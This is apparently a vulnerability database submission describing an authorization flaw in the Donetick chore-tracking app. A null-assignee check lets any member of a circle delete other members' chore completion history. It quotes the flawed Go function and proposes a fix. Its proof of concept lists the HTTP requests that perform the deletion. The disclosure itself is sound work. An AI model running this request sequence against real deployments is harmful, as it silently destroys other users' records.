| Titre | https://github.com/donetick/ donetick commit 0ca432c1f7731ef9c4c2f00aad7f2f845ef9c2b3 Improper Authorization |
|---|
| Description | Chore completion history deletion IDOR via null-assignee logic flaw
### Summary
Any authenticated member of a Donetick circle can delete the completion history entries of any other member in the same circle, as long as the affected history entry was recorded without an explicit assignedTo value. Since the application defaults to no assignee for most chores, the vast majority of history records are affected. An attacker can silently erase another user's audit trail of completed chores, corrupting streaks, point totals, and accountability records.
### Details
The authorization decision for DELETE /api/v1/chores/{choreID}/history/{historyID} is delegated to CanDeleteHistory() in internal/chore/model/model.go. The function returns true unconditionally when the history entry's AssignedTo field is nil:
```go
// internal/chore/model/model.go, lines 208-231
func (c *Chore) CanDeleteHistory(userID int, circleUsers []*cModel.UserCircleDetail, history *ChoreHistory) bool {
if userID == c.CreatedBy {
return true
}
if userID == history.CompletedBy {
return true
}
if history.AssignedTo == nil { // grants delete to ANY caller
return true
}
if userID == *history.AssignedTo {
return true
}
for _, cu := range circleUsers {
if cu.UserID == userID && cu.Role == "admin" {
return true
}
}
return false
}
```
The intent of the AssignedTo == nil branch appears to be "no specific user was assigned, so the chore is open", but this is a conceptual error. AssignedTo on a history record indicates who was assigned at the time of completion, not whether the record is open for deletion. Because most chores use the no_assignee strategy, assignedTo in the resulting history rows is null, so this branch fires for nearly all real completion records.
The handler at internal/chore/handler.go (around line 2683) does enforce circle-level scoping via GetChore(c, choreID, currentUser.ID, currentUser.CircleID), so cross-circle deletion is blocked. The vulnerability is strictly within-circle: member A can delete member B's completion history on any chore A can read in the shared circle. Remediation: remove the AssignedTo == nil early return so the null-assignee case falls through to the admin check (only the chore creator, the completer, or a circle admin should be able to delete the entry).
### PoC
Environment: Donetick self-hosted, two accounts in the same circle. useralpha (ID=1, circle=1) is chore owner and completer; userbeta (ID=2, circle=1) is an ordinary member, NOT the creator, NOT the completer, NOT assigned.
Step 1, authenticate as useralpha, complete a chore, confirm history exists:
```
POST /api/v1/auth/login
{"username":"useralpha","password":"Password123!"}
=> {"access_token":"<ALPHA_TOKEN>", ...}
POST /api/v1/chores/ (Authorization: Bearer <ALPHA_TOKEN>)
{"name":"Alpha Audit Log Chore","frequencyType":"no_repeat","assignStrategy":"no_assignee","isActive":true}
=> {"res":5}
POST /api/v1/chores/5/do (Authorization: Bearer <ALPHA_TOKEN>)
=> {"res":{"id":5, ..., "assignedTo":null, ...}}
GET /api/v1/chores/5/history (Authorization: Bearer <ALPHA_TOKEN>)
=> {"res":[{"id":5,"choreId":5,"completedBy":1,"assignedTo":null, ...}]}
```
DB state before attack (assigned_to is null):
```
sqlite> SELECT id, chore_id, completed_by, assigned_to FROM chore_histories WHERE id=5;
5|5|1|
```
Step 2, authenticate as userbeta, delete useralpha's history entry:
```
DELETE /api/v1/chores/5/history/5 (Authorization: Bearer <BETA_TOKEN>)
HTTP/1.1 200 OK
{"message":"History deleted successfully"}
```
Step 3, confirm history is gone from useralpha's perspective:
```
GET /api/v1/chores/5/history (Authorization: Bearer <ALPHA_TOKEN>)
HTTP/1.1 200 OK
{"res":[]}
```
The entry is gone, useralpha's completion record was permanently deleted by userbeta. Cross-circle block confirmed: the same DELETE issued by usergamma (ID=3, circle=3) returns HTTP 400 {"error":"Failed to retrieve chore"}, so the circle boundary is enforced and only within-circle deletion is affected.
### Impact
A malicious or disgruntled circle member can erase any other member's completion history entries (except those explicitly assigned to a third party), corrupt streak tracking, point totals, and completion statistics for targeted users, and remove accountability records retroactively without any trace beyond server logs. The default no_assignee assignment strategy means almost all completion history in typical deployments is affected. Only history entries where a specific user was assigned at completion time (assignedTo != null) are correctly protected.
version: commit 0ca432c1f7731ef9c4c2f00aad7f2f845ef9c2b3 |
|---|
| La source | ⚠️ https://github.com/donetick/donetick/issues/711 |
|---|
| Utilisateur | geochen (UID 78995) |
|---|
| Soumission | 01/10/2026 02:23 (il y a 18 jours) |
|---|
| Modérer | 18/10/2026 12:56 (17 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 421693 [donetick jusqu’à 0.1.82 History Deletion model.go CanDeleteHistory AssignedTo élévation de privilèges] |
|---|
| Points | 20 |
|---|